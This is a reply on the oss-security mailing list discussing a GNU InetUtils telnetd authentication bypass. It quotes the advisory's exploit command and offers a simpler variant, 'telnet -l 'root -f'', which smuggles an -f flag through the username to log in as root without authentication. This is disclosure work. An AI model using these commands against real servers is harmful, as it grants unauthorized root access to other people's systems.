[<prev] [next>] [day] [month] [year] [list]
Message-ID:
<GVZP280MB1479548BB600609B081F6286DE91A@GVZP280MB1479.SWEP280.PROD.OUTLOOK.COM>
Date: Wed, 28 Jan 2026 20:57:46 +0000
From: Paul Ducklin <pducklin@...look.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Re: GNU InetUtils Security Advisory: remote authentication by-pass in
telnetd
> USER='-f root' telnet -a localhost
Seems that the same code path results from the even simpler incantation:
$ telnet -l 'root -f' server.test
The user-name-with-a-space-in-it doesn't get passed as a single argument
to execv(), but "helpfully" gets split back into two parts and passed to execv()
as two separate entries in argv[] :-)
Q. "Hey, if we call execv() directly, we'll avoid some of the risks associated with
shell-style command line processing. How good is that?"
A. "Hold my beer."
TELNET, eh? From the days when RFCs still had just three digits...
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
